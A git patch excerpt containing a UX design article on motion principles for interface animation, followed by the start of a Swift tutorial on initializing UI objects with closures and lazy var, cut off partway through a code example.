+Offset & Delay is the second of only two UX in Motion Principles that is influenced by Disney’s Animation Principles, in this case from ‘[Follow Through and Overlapping Action](https://en.wikipedia.org/wiki/12_basic_principles_of_animation#Follow_Through_and_Overlapping_Action).’
+
+It is important to note, however, that the implementation, while similar in execution, differs in purpose and outcome. While Disney’s Principles result in ‘more appealing animations,’ the UI Animation Principles result in more usable experiences.
+
+The utility of this principle is that it pre-consciously sets the user up for success by ‘telling’ the user something about the nature of the objects in the interface. The narrative in the above reference is that the top two objects are united and the bottom object is separate. Perhaps the top two objects could be a non-interactive image and text, while the bottom object is a button.
+
+Even before the user registers what these objects *are, *the designer has already communicated to her—through motion — that the objects are somehow ‘separate.’ This is extremely powerful.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*CCRJjHIyq4PKECbmpUM3rA.gif">
+
+Credit: [InVision](https://dribbble.com/InVisionApp)
+
+In the above example, the floating action button (FAB) transforms into header navigation elements comprised of three buttons. Because the buttons are ‘offset’ from each other temporally, they end up supporting usability through their ‘separateness.’ Said differently, the designer is using time itself to say — even before the user registers what the objects are — that the objects are separate. This has the effect of telling the user, completely independent from the visual design, part of the nature of the objects in the interface.
+
+To better show you how this works, I’ll show you an example that breaks the Offset & Delay Principle.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*DJHXB3kDHesSwHxLYeJyFg.gif">
+
+Credit: [Jordi Verdu](https://dribbble.com/jordiverdu) (
+
+In the above example, the static visual design tells us that there are icons over a background. The presumption is that the icons are all separate from each other and do different things. However, the motion contradicts this.
+
+Temporally, the icons are grouped into rows and behave like a single object. Their titles are likewise grouped into rows, and also behave like a single object. The motion is telling the user something other than what her eyes see. In this case, we can say that the temporal behavior of the objects in the interface are not supporting usability.
+
+#### Principle 3: Parenting ####
+
+*Creates spatial and temporal hierarchal relationships when interacting with multiple objects.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*AK-IvsnBGJFVwZnqxYjqrQ.gif">
+
+Parenting is a powerful Principle that ‘relates’ objects in the user interface. In the above example, the ‘scale’ and ‘position’ property of the top or ‘child’ object is parented to the ‘position’ property of the bottom or ‘parent’ object.
+
+Parenting is the linking of object properties to other object properties. This creates object relationships and hierarchies in ways that support usability.
+
+Parenting also allows designers to better coordinate temporal events in the user interface, while communicating to users the nature of the object relationships.
+
+Recall that object Properties include the following — Scale, Opacity, Position, Rotation, Shape, Color, Value, etc. Any of these Properties can be linked to any other Properties to create synergistic moments in the User Experience.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*vAAs4k5reIuVNx9KFoZCCw.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*oEKY3b97GnxizyVO2Bdglg.gif">
+
+Credit: [Andrew J Lee](https://dribbble.com/lee_aj) , [Frank Rapacciuolo](https://dribbble.com/frankiefreesbie) 
+
+In this above left example, the ‘y-axis’ Property of the ‘face’ element is the ‘child’ to the ‘x-axis’ Property of the round indicator parent. When the round indicator element moves along the horizontal axis, its ‘child’ element moves along with it horizontally *and* vertically (while being Masked — another Principle).
+
+The result is a hierarchal temporal narrative framework that occurs all at the same time. Of note is that the ‘faces’ object works as a series of ‘lockups’ in that, at each number, the ‘face’ is fully and not partially visible. The user experiences this seamlessly, though we can make the claim there is a subtle ‘usability cheat’ in this example.
+
+Parenting functions best as a ‘realtime’ interaction. As the user directly manipulates the interface objects, the designer communicates to the user — via motion — how the objects are linked, and the relationship between them.
+
+Parenting occurs in 3 forms: ‘direct parenting’ (see above two examples, ‘delayed parenting,’ and ‘inverse parenting,’ see below).
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*RsyF9JEfaM1evRFPmhMAjA.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*l2a36kW3kgkYgPZRfDqhog.gif">
+
+Delayed Parenting (Credit: [AgenceMe](https://dribbble.com/AgenceMe) ) & Inverse Parenting (Credit: [AgenceMe](https://dribbble.com/AgenceMe) )
+
+#### Principle 4: Transformation ####
+
+*Creates a continuous state of narrative flow when object utility changes.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3obIWzQMTkX74ndGcmW_eg.gif">
+
+Much has already been written about the UX in Motion Principle ‘transformation.’ In some ways, it is the most obvious and penetrable of the animation principles.
+
+Transformation is the most discernible, largely because it stands out. A ‘submit’ button changing shape to become a radial progress bar and finally changing shape again to become a confirmation check mark is something that we notice. It grabs our attention, tells a story, and has completion.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*JNE8gIhMViaL-Yri9SiCjg.gif">
+
+Credit: [Colin Garven](https://dribbble.com/ColinGarven) 
+
+What Transformation does is seamlessly transition the user through the different UX states or ‘is’s’ (as in this *is* a button, this *is* a radial progress bar, this *is* a check mark) which eventually result in a desired outcome. The user has been drawn through these functional spaces to the ultimate destination.
+
+Transformation has the effect of ‘chunking’ cognitively separate key moments in the user experience into a seamless and continuous series of events. This seamlessness results in better user awareness, retention, and followthrough.
+
+#### Principle 5: Value change ####
+*Creates a dynamic and continuous narrative relationship when value subject changes.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*3IWEaIssuoLSu4U7Y-hdgQ.gif">
+
+Text based interface objects, that is to say numbers and text, can change their values. This is one of those ‘elusive obvious’ concepts.
+
+Text and number changes are so common that they pass us by without us bringing to them distinction and rigor to assess their role in supporting usability
+
+So what is the user experiencing when values change? In user experiences, the 12 UX in Motion Principles are opportunities to support usability. The three opportunities here are to connect the user to the *reality* behind the data, the concept of *agency,* and to the dynamic nature of the values themselves.
+
+Let’s look at the example of a user dashboard.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*Ek1bbmWLyMJU5wQiMZCSJA.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*fY2GeYo6Uj0l9qziupfn3Q.gif">
+
+When value based interface objects load with no ‘value change,’ what this conveys to the user is that the numbers are static objects. They’re like painted signs displaying a speed limit of 55 mph.
+
+The numbers and values are representations of things that are happening *in reality.* That reality could be time, income, game scores, business metrics, fitness tracking, etc. What we are distinguishing through motion is that the ‘value subject’ is dynamic and the values are reflecting something from that dynamic value set.
+
+Not only does this relationship get lost with static objects comprised visually of values, but another deeper opportunity is also lost.
+
+When we employ representations of dynamic systems in the form of motion based values, it activates a sort of ‘neurofeedback.’ Users, grasping the dynamic nature of their data can now be cause in altering those values and are empowered to become *agents*. When the values are static, there is less connection to the reality behind the values, and users lose their *agency*.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/400/1*FmT4vosDI453IK0aJbuW9Q.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/400/1*2LB6MevUJaYZdRYg39T3Qw.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/400/1*TFFz9-Zl1UIUWRlc1rY11Q.gif">
+
+Credit: [Barthelemy Chalvet](https://dribbble.com/BarthelemyChalvet), [Gal Shir](https://dribbble.com/galshir) , Unknown
+
+The Value Change Principle can occur both in realtime and non-realtime events. In realtime events, the user is interacting with the objects to change values. In non-realtime events, such as loaders and transitions, the values change without user input to reflect a dynamic narrative.
+
+#### Principle 6: Masking ####
+
+*Creates continuity in an interface object or object group when utility is determined by which part of the object or group is revealed or concealed.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*Ah_FBCcqm7YsqChgz-GYOA.gif">
+
+The *act* of masking asking can be thought of as a relationship between the shape of the object and it’s utility.
+
+Because designers are familiar with ‘masking’ in the context of static design, it behooves us to bring distinction to the UX in Motion Principle ‘Masking’ as it occurs in time, *as an* act, and not as a *state*.
+
+Through the temporal use of revealing and concealing regions of an object, utility transitions in a continuous and seamless way. This also has the effect of preserving narrative flow.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*OSe67jIPfPzgaSODFaJ5gg.gif">
+
+Credit: [Anish Chandran](https://dribbble.com/anish_chandran) 
+
+In the above example, the header image changes bounding shape and position but not the content, and becomes an album. This has the effect of changing what the object *is,while preserving the content within the mask — a fairly neat trick*. *This occurs in non-realtime, as a transition, that is activated after a user takes an action.
+
+Remember, UI Animation Principles occur temporally and support usability through continuity, narrative, relationship, and expectation. In the above reference, while the object itself remains unchanged, it also has boundary and location, and these two factors determine what the object is.
+
+#### Principle 7: Overlay ####
+
+*Creates narrative and object spatial relationship in visual flatland when layered objects are location dependent.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*XCEmrzdTIbLt0a37pj0nBQ.gif">
+
+Overlay supports usability by allowing users to utilize flatland ordering properties to overcome a lack of non-spatial hierarchies.
+
+To land the plane a bit, Overlay allows designers to use motion to communicate location dependent objects that exist behind or in front of others in non 3D space.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*g-MHVlWPL1RF1W4UZIk6Qg.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*KV5hGH2CVcPQ_e7dfpKsuw.gif">
+
+Credit: [Bady](https://dribbble.com/bady), [Javi Pérez](https://dribbble.com/javiperez) 
+
+In the example on the left, the foreground object slides to the right to reveal the location of additional background objects. In the example on the right, the entire scene slides down to reveal additional content and options (while using the Offset & Delay Principle to communicate the individuality of the photo objects).
+
+To a certain degree, as designers, the idea of ‘layers’ is so obvious as to be self-evident. We design with layers and the concept of layers are deeply internalized. However, we must be careful to distinguish between the process of ‘making’ verses ‘using.’
+
+As designers who are continually engaged in the process of ‘making,’ we are intimately familiar with all of the pieces of the object (including the hidden pieces) we are designing. As a user, however, those non visible pieces are by definition and practice, hidden both visually and cognitively.
+
+The Overlay Principle allows designers to communicate relationship between ‘z-axis’ positioned layers and in so doing, promote spatial orientation to their users.
+
+#### Principle 8: Cloning ####
+
+*Creates continuity, relationship and narrative, when new objects originate and depart.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*XhtrzHD5PBpHKuhoJqB7fQ.gif">
+
+When new objects are created in current scenes (and from current objects), it is important to narratively account for their appearance. In this manifesto, I argue forcefully for the importance of creating a narrative framework for object origin and departure. Simple opacity fades tend to not achieve this result. Masking, Cloning, and Dimensionality are three usability based approaches to produce strong narratives.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/400/1*UsnQMriM_Bjz480Ob70egg.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/400/1*2tUFeu74yCK-BhXjoTZrEQ.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/400/1*knAuRUPJFue8Z-nvxH2bUQ.gif">
+
+Credit: [Jakub Antalík](https://dribbble.com/antalik) , [Jakub Antalík](https://dribbble.com/antalik) , Unknown
+
+In the above three examples, new objects are created from existing hero objects during the time the user’s attention is focused on those objects. This two fold approach — the directing of attention, and then leading the eye through the creation of a cloned new object — has the strong effect of communicating a clear and unambiguous chain of events: that action ‘x’ has the result ‘y’ of the creation of new child objects.
+
+#### Principle 9: Obscuration ####
+
+*Allows users to spatially orient themselves in relationship to objects or scenes not in the primary visual hierarchy.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*dYmhIISFfqIh-w5hMD8-aw.gif">
+
+Similar to the UX in Motion Principles of Masking, Obscuration lives as both a static and temporal phenomena.
+
+This can be confusing to designers who don’t have experience thinking temporally — that is, the moments *between* moments. Designers typically design screen to screen or task to task. Think of Obscuration as the *act* of being obscured and not the *state* of being obscured. A static design represents the state of being obscured. Introducing time gives us the *act* of an object being obscured.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*HrfgNmRzM5VrL0x4xKmGPg.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*QX9BrprmQkvccsKaep_otA.gif">
+
+Credit: [Virgil Pana](https://dribbble.com/virgilpana), [Apple](http://www.apple.com/)
+
+From the above two examples, we can see that obscuration, which *looks like* transparent objects or overlays, is also a temporal interaction involving multiple properties in time.
+
+Various common techniques of this involve blur effects and a lessoning of overall object transparency. The user is made aware of an additional non primary context that she is operating in — that there is another world, as it were, ‘behind’ her primary object hierarchy.
+
+Obscuration allows designers to compensate for a single unified field of view, or ‘objective view,’ in user experiences.
+
+#### Principle 10: Parallax ####
+
+*Creates spatial hierarchy in visual flatland when users scroll.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*tVCAaCgws_1Q2u8ViQ6z6w.gif">
+
+‘Parallax,’ as a UX in Motion Principle describes different interface objects moving at different rates.
+
+Parallax allows user to focus on primary actions and content while maintaining design integrity. Background elements ‘recede’ perceptually and cognitively for the user during a Parallax event. Designers can use Parallax to separate out immediacy content from ambient or supportive content.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*flKRcXTaSjJ9eyGAIIx4Aw.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*BssDbeOCt1sXpfkh2WxdKw.gif">
+
+Credit: [Austin Neill](https://dribbble.com/austinneill), [Michael Sevilla](https://dribbble.com/SVLA) 
+
+The effect this has on the user, is to clearly define *for the duration of the interaction,* the various object relationships. Foreground objects, or objects that move ‘quicker’ appear to the user as ‘closer.’ Likewise, background objects or objects that move ‘slower’ are perceived as being ‘further away.’
+
+Designers can create these relationships, using time itself, to tell the user what objects in the interface are higher priority. Therefore it makes sense to push background or non-interactive elements further ‘back.’
+
+Not only does the user perceive the interface objects as now having a hierarchy beyond that which is determined in the visual design, but this hierarchy can now be leveraged into having the user grasp *the nature* of the user experience before being consciously aware of the design/content.
+
+#### Principle 11: Dimensionality ####
+
+*Provides a spatial narrative framework when new objects originate and depart.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*f6MiFmeYfXqGim9Vo8ymwg.gif">
+
+Critical to User Experiences is the phenomenon of continuity as well as the sense of location.
+
+Dimensionality provides a powerful way to overcome the flatland non-logic of User Experiences.
+
+Humans are remarkably adept at using spatial frameworks to navigate both in the real world and in digital experiences. Providing spatial origin and departure references helps reinforce mental models of where users are in the UX.
+
+Additionally, the Dimensionality Principle overcomes the layering paradox in visual flatland wherein objects lacking depth exist on the same plane but occur as ‘in front of’ or ‘behind’ other objects.
+
+Dimensionality presents itself in three ways — Origami Dimensionality, Floating Dimensionality, and Object Dimensionality.
+
+**Origami Dimensionality** can be thought of in terms of ‘folding’ or ‘hinged’ three dimensional interface objects.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*iZuMzfPgGwH_im_9Ofb5vg.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*II33u0hSsLFblYSCQhfxMA.gif">
+
+Examples of Origami Dimensionality (Credit: [Eddie Lobanovskiy](https://dribbble.com/lobanovskiy) , [Virgil Pana](https://dribbble.com/virgilpana))
+
+Because multiple objects are combined into ‘origami’ structures, the hidden objects still can be said to ‘exist,’ spatially even though they are not visible. This effectively renders the User Experience as a continuous spatial event that the user navigates and creates an operating context both in the interaction model itself, and in the temporal behavior of the interface objects themselves.
+
+**Floating Dimensionality** gives interface objects a spatial origin and departure, making the interaction models intuitive and highly narrative.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*PhZLxUbjetc5nMgMv90qxg.gif">
+
+Example of Floating Dimensionality (Credit: [Virgil Pana](https://dribbble.com/virgilpana) )
+
+In the above example, Dimensionality is achieved through the use of 3D ‘cards.’ This provides a strong narrative framework that supports the visual design. The narrative is extended by ‘flipping’ the cards to access additional content and interactivity. Dimensionality can be a powerful way to introduce new elements in ways that minimize abruptness.
+
+**Object Dimensionality **results in dimensional objects with true depth and form.
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*ni2fxsm6pKMYQ6Jc75DzLw.gif">
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*yWhLvwAkVNoYaqmfzlxiYQ.gif">
+
+Examples of Object Dimensionality (Credit: [Issara Willenskomer](https://uxinmotion.net/) , [Creativedash](https://dribbble.com/Creativedash) )
+
+Here, multiple 2D layers are arranged in 3D space to form true dimensional objects. Their dimensionality is revealed during realtime and non-realtime transitional moments. The utility of Object Dimensionality is that users develop a keen awareness of object utility based on non-visible spatial locations.
+
+#### Principle 12: Dolly & Zoom ####
+
+*Preserves continuity and spatial narrative when navigating interface objects and spaces.*
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*NwAD-XMtBzzY8n8c9NpXqg.gif">
+
+Dolly and Zoom are filmic concepts referring to the movement of objects relevant to the camera, and the size of the image itself in the frame smoothly changing from a long shot to a close up shot (or vice versa).
+
+In certain contexts, it is impossible to tell if an object is zooming, if it is moving towards the camera in 3D space, or if the camera is moving towards the object in 3D space (see below references). The below three examples illustrate the possible scenarios.
+
+![](https://cdn-images-1.medium.com/max/800/1*R9wPWQUu26wjibaTBUstqQ.gif)
+
+Is the layer dollying, zooming, or is the camera moving?
+As such, it is appropriate to treat the instances of ‘dollying’ and ‘zooming’ as separate but similar in that they involve continuous element and scenic transformations, and meet the requirements of the UX in Motion Principles: they support usability through motion.
+
+![](https://cdn-images-1.medium.com/max/400/1*I4yZ2k1zeo3qc9qrbn0LDw.gif)
+
+![](https://cdn-images-1.medium.com/max/400/1*XVtnYMrp8LhGJzcsF0Lw7Q.gif)
+
+![](https://cdn-images-1.medium.com/max/400/1*o2ellGNN8CTJbwUoJ0ts8Q.gif)
+
+The two images on the left are dollying, while the image on the right is zooming
+
+**Dolly** is a film term and applies to camera movement either toward or away from a subject (it also applies to horizontal ‘tracking’ movement as well, but is less relevant in a usability context).
+
+![](https://cdn-images-1.medium.com/max/800/1*8TYALn5P87i2OuuZfhfELg.gif)
+
+Credit: [Apple](http://www.apple.com/)
+
+Spatially in UX, this motion could refer either to a change in the viewers perspective, or to the perspective remaining static while the object changes position. The Dolly Principle supports usability through continuity and narrative, seamlessly transitioning between interface objects and destinations. Dolly can also incorporate the Dimensionality Principle, resulting in a more spatial experience, more depth, and communicating to the user additional areas or content that is ‘in front’ or ‘behind’ the current view.
+
+**Zoom** refers to events where neither the perspective nor the object is moving spatially, but rather the object itself is scaling (or our view of it is decreasing, resulting in the image enlarging). This communicates to the viewer that additional interface objects are ‘inside’ other objects or scenes.
+
+![](https://cdn-images-1.medium.com/max/800/1*I6-dXGCq9cXjAZGyVOkXrA.gif)
+
+Credit: [Apple](http://www.apple.com/)
+
+This allows for seamless transitions — both realtime and non-realtime — that support usability. This seamlessness employed in the Dolly & Zoom Principle is quite powerful when it comes to creating spatial mental models.
+
+If you made it this far, congratulations! That was a beast of a manifesto. I hope all the gifs loaded for you and didn’t kill your browser. I also really hope you got some value for yourself and some new tools and leverage in your interactive projects.
+
+I encourage you to learn more about how you can begin using motion as a design tool to support usability.
+
+Again, the final plug, if you want me to speak at your conference or lead an onsite workshop for your team on the exciting topic of motion and usability, go [here](https://uxinmotion.net/workshops-and-speaking/) . If you want to attend a class in your city go [here](https://uxinmotion.net/workshops-and-speaking/#classes) . Finally, if you want me to consult on your project, you can go [here](https://uxinmotion.net/consulting/) . To get added to my list, go [here](http://uxinmotion.net/joinnow) .
+
+This manifesto would not have been possible without the generous and patient contribution and constant feedback of [Kateryna Sitner](https://www.linkedin.com/in/katerynasitner/)  from Amazon — thank you! Special thanks to [Alex Chang](https://www.linkedin.com/in/alexychang/)  for his brainstorming and insistence that I land the plane, [Bryan Mamaril](http://ficuscreative.com/) at Microsoft for his eagle eye, Jeremey Hanson for his editing notes, [Eric Braff](https://www.linkedin.com/in/eric-braff-276504b) for being the insane UI motion guru he is, Rob Girling at [Artefact](http://artefactgroup.com/)  for his belief in me all those years ago, [Matt Silverman](http://www.swordfish-sf.com/)  for his inspiring talk on UI motion at the After Effects conference, [Bradley Munkowitz](http://gmunk.com/)  for being an awesome roommate and getting me inspired in UI, [Pasquale D’Silva](https://medium.com/@pasql)  for his incredible articles on motion, [Rebecca Ussai Henderson](https://medium.freecodecamp.com/@becca_u)  for her awesome article on UI Choreography, [Adrian Zumbrunnen](https://medium.com/@azumbrunnen)  for his awesome contributions to the topic of UI and motion, [Wayne Greenfield](http://www.seattlekombucha.com/)  and [Christian Brodin](http://www.theapartmentinvestor.com/author/christian-brodin/)  for being my mastermind brothers and always pushing me to level up, and all you thousands of UI Animators who keep cranking out inspiring gifs.
+
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 50a020d04b8ae6c32b5c5a02a0ef2b86cc16bdbf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 22:00:19 +0800
Subject: [PATCH 061/638] Create swift-lazy-initialization-with-closures.md

---
 ...swift-lazy-initialization-with-closures.md | 362 ++++++++++++++++++
 1 file changed, 362 insertions(+)
 create mode 100644 TODO/swift-lazy-initialization-with-closures.md

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
new file mode 100644
index 00000000000..00d175ee6b5
--- /dev/null
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -0,0 +1,362 @@
+> * 原文地址：[Swift Lazy Initialization with Closures](https://blog.bobthedeveloper.io/swift-lazy-initialization-with-closures-a9ef6f6312c)
+> * 原文作者：[Bob Lee](https://blog.bobthedeveloper.io/@bobthedev?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+
+# Swift Lazy Initialization with Closures #
+
+## Learn how to create objects with modularity and readability ##
+
+![](https://cdn-images-1.medium.com/max/2000/1*KNmIy5QAOeokXPW86TtVyA.png)
+
+Magic Keyboard 2 and Magic Mouse 2
+
+*Welcome my lovely readers. Good to see you here today. For those who are new, I’m Bob. Just for real quick, if you wish to be on my mailing list, you can sign up* [*here*](https://boblee.typeform.com/to/oR9Nt2) *and get more value for your learning with iOS development :)*
+
+### Motivation ###
+
+In the beginning of my iOS journey, I followed tutorials on YouTube. I saw a few using something like below to create UI objects.
+
+```
+let makeBox: UIView = {
+ let view = UIView()
+ return view
+}()
+```
+
+As a learner, I copied the practice and used it. One day, however, one of my readers asked me, “why do you add `{}` and why does `()` exist at the end? Is it a computed property?” I could not answer. I was a zombie.
+
+I wrote this tutorial for my younger self. Yet, some may find it useful.
+
+### Objectives ###
+
+There are three objectives. First, understand how to initialize an object using the unconventional way as shown above. Second, learn when to use `lazy var` in Swift. Last, join my mailing list.
+
+#### Prerequisites ####
+
+To fully enjoy the ride with me, I highly recommend you to be familiar with the topics below.
+
+1. [*Closures*](https://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564)
+2. [*Capture List and retention cycle [weak self]*](https://blog.bobthedeveloper.io/swift-retention-cycle-in-closures-and-delegate-836c469ef128)
+3. *Descent Object Oriented Programming*
+
+### Create UI Components ###
+
+Before I explain the unconventional method above, let’s look into your past. In order to create a button in Swift, you probably have done something like this,
+
+```
+// Determine Size
+let buttonSize = CGRect(x: 0, y: 0, width: 100, height: 100)
+
+// Create Instance
+let bobButton = UIButton(frame: buttonSize)
+bobButton.backgroundColor = .black
+bobButton.titleLabel?.text = "Bob"
+bobButton.titleLabel?.textColor = .white
+```
+
+This is *Okay.*
+
+Assume, you have to create three other buttons, you probably have to copy the code above and then change the name from `bobButton` to `bobbyButton`.
+
+It’s quite tedious.
+
+```
+// New Button 
+let bobbyButton = UIButton(frame: buttonSize)
+bobbyButton.backgroundColor = .black
+bobbyButton.titleLabel?.text = "Bob"
+bobbyButton.titleLabel?.textColor = .white
+```
+
+To make things just a bit easier, you may
+
+![](https://cdn-images-1.medium.com/max/800/1*oDIPy0i4YzUnKVR4XYI4kg.gif)
+
+This works too with the keyboard shortcut: ctrl-cmd-e
+
+If you don’t wish to repeat yourself, you may create a function instead.
+
+```
+func createButton(enterTitle: String) -> UIButton {
+ let button = UIButton(frame: buttonSize)
+ button.backgroundColor = .black
+ button.titleLabel?.text = enterTitle
+ return button
+}
+
+createButton(enterTitle: "Yoyo") //  👍
+```
+
+However, in iOS development, it is rare that custom buttons look similar. Therefore, a function may require a lot more parameters including background color, title, border radius, shadow, and so on. You function may end up looking like,
+
+```
+func createButton(title: String, borderWidth: Double, backgrounColor, ...) -> Button 
+```
+
+The code above is not ideal even if you add default parameters to the function. It decreases readability. Therefore, it’s better to stay with the tedious method above.
+
+But, is there any way we can make it less tedious and more organized? Of course. We’ve looked into your past — It’s time to step up and look into your future.
+
+### Introducing the Unconventional Way ###
+
+Before we create UI components with the unconventional way, let’s first answer the initial questions my reader asked. What does `{}` mean, and is it a `computed property`?
+
+*Nope, it’s just a* ***closure block***.
+
+First, let’s demonstrate how to create an object using a closure. We will design a struct called `Human`.
+
+```
+struct Human {
+ init() {
+  print("Born 1996")
+ }
+}
+```
+
+Now, this is how you create an object with a closure
+
+```
+let createBob = { () -> Human in
+ let human = Human()
+ return human
+}
+
+let babyBob = createBob() // "Born 1996"
+```
+
+*If the syntax above doesn’t look familiar to you, you may stop reading now, and go to* [*Fear No Closure with Bob*](https://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564) *, and bring some bullets.*
+
+Just to explain, `createBob` is a closure whose type is `() -> Human`. You’ve created an instance called, `babyBob` by calling `createBob()` .
+
+However, you had to create two constants: `createBob` and `babyBob`. What if you want to do everything in a single statement? Here you go.
+
+```
+let bobby = { () -> Human in
+ let human = Human()
+ return human
+}()
+```
+
+Now, the closure block executes itself through adding `()` at the end and `bobby` now has a `Human` object attached. Pretty good stuff.
+
+**You’ve learned how to initialize an object with a closure block.**
+
+Now, let’s apply to creating an UI object which should be similar to the example right above.
+
+```
+let bobView = { () -> UIView in
+ let view = UIView()
+ view.backgroundColor = .black
+ return view
+}()
+```
+
+Great, we can make it shorter. In fact, we don’t need to specify the type of the closure block. Instead, all we have to do is specify the type of the instance, `bobView`, for example.
+
+```
+let bobbyView: **UIView** = {
+ let view = UIView()
+ view.backgroundColor = .black
+ return view
+}()
+```
+
+Swift is able to infer that the closure block is `() -> UIView` based on the keyword, `return`.
+
+Now, take a look. The example right above should look identical to the “unconventional way” I feared.
+
+### Benefits of Init with Closures ###
+
+We discussed the tediousness of creating objects and the problem that arises from using a function. In your head, you must be thinking, “why should I use a closure block instead?”
+
+#### Easy to Duplicate ####
+
+I don’t like to use Storyboard, I love copy and pasting UI objects. In fact, I’ve a “library” of code in my computer. Let us assume that there is a button as shown below in the library.
+
+```
+let myButton: UIButton = {
+ let button = UIButton(frame: buttonSize)
+ button.backgroundColor = .black
+ button.titleLabel?.text = "Button"
+ button.titleLabel?.textColor = .white
+ button.layer.cornerRadius = 
+ button.layer.masksToBounds = true
+return button
+}()
+```
+
+All I have to do is copy the entire lines, and then just change the name of `myButton` to `newButton` for the usage. Had I not used the closure method, I probably had to change the name of `button` to `newButton` 7–8 times. We could use the Xcode shortcut above, but why not make it just simpler.
+
+#### Look Cleaner ####
+
+Since objects are grouped together, it feels cleaner based on my eyes. Let’s compare
+
+```
+// Init with Closure 
+let leftCornerButton: UIButton = {
+ let button = UIButton(frame: buttonSize)
+ button.backgroundColor = .black
+ button.titleLabel?.text = "Button"
+ button.titleLabel?.textColor = .white
+ button.layer.cornerRadius = 
+ button.layer.masksToBounds = true
+return button
+}()
+
+let rightCornerButton: UIButton = {
+ let button = UIButton(frame: buttonSize)
+ button.backgroundColor = .black
+ button.titleLabel?.text = "Button"
+ button.titleLabel?.textColor = .white
+ button.layer.cornerRadius = 
+ button.layer.masksToBounds = true
+return button
+}()
+```
+
+vs
+
+```
+// Init With Fingers 
+let leftCornerButton = UIButton(frame: buttonSize)
+leftCornerButton.backgroundColor = .black
+leftCornerButton.titleLabel?.text = "Button"
+leftCornerButton.titleLabel?.textColor = .white
+leftCornerButton.layer.cornerRadius = 
